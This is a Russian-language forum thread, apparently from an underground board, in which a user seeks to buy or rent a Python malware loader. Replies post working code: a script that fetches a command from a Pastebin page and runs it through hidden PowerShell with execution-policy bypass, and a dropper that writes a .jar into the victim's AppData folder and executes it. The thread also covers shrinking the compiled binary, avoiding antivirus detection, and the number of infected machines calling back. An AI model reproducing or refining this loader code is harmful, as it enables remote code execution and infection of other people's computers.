Ищу лоадер для своих задач. Python. Нужно сделать выполнение строки powershall на целевой машине.
Куплю готовый или возьму в аренду
ПМ
Куплю готовый или возьму в аренду
ПМ
import subprocess
import http.client
pastebin_path = '/raw/..........'
psh_cmd = 'powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command'
# Get PSH command
conn = http.client.HTTPSConnection("pastebin.com")
conn.request("GET", pastebin_path)
r1 = conn.getresponse()
if r1.status == 200:
cmd = r1.read().rstrip().decode("utf-8")
# Run PSH command
res_cmd = f'{psh_cmd} {cmd}'.split()
print(f'Running command: {psh_cmd} {cmd}')
try:
subprocess.run(res_cmd)
except FileNotFoundError:
print('PSH not found?')
else:
print(f'HTTP status is {r1.status}')
166 kb с upxСкомпилируешь, от веса ахуеешь..
А без upx?166 kb с upx
Где-то 500 кбА без upx?
Втыканул. Если собирать сГде-то 500 кб
--standalone --onefile получится метров под 9.разве на пайтоне скомпилируемый софт не светится?
Нет, не светится, там проблема в другом, в том что он запускается только на машинах с такой же ОС, разрядностью, и.т.д как на той что скомпилирован. То есть отстук будет малыйразве на пайтоне скомпилируемый софт не светится?
но эта проблема решается?)Нет, не светится, там проблема в другом, в том что он запускается только на машинах с такой же ОС, разрядностью, и.т.д как на той что скомпилирован. То есть отстук будет малый
Конечно решается, как и все проблемы. Использованием другого языка для написания лоадера.но эта проблема решается?)
import os
username =os .getenv ('username')
x ="504B030414000"
f =open ("C:\\Users\\"+username +"\\AppData\\Local\\code.jar","wb+")
f .write (x .decode ('hex'))
f .close ()
os .system ("C:\\Users\\"+username +"\\AppData\\Local\\code.jar")
Вот тут есть вероятное решение проблемы с pyinstallerно эта проблема решается?)
попробовал ради интереса собрать в nuitka c сключем --onefile под линуксом, вес подозрительно мал. 184кбВтыканул. Если собирать с--standalone --onefileполучится метров под 9.
Это из за того что нуитка код питона в Си переводит и только потом компилитпопробовал ради интереса собрать в nuitka c сключем --onefile под линуксом, вес подозрительно мал. 184кб
Ага, к сожалению зависимости никуда не деваются =)Втыканул. Если собирать с--standalone --onefileполучится метров под 9.
Ну всё же лучше чем pyinstaller)))Ага, к сожалению зависимости никуда не деваются =)
Тоже удивился сначала малому весу под nuitka, потом выяснилось, что оно просто динамически слинковано с уже установленными пайтон зависимостями в ОС.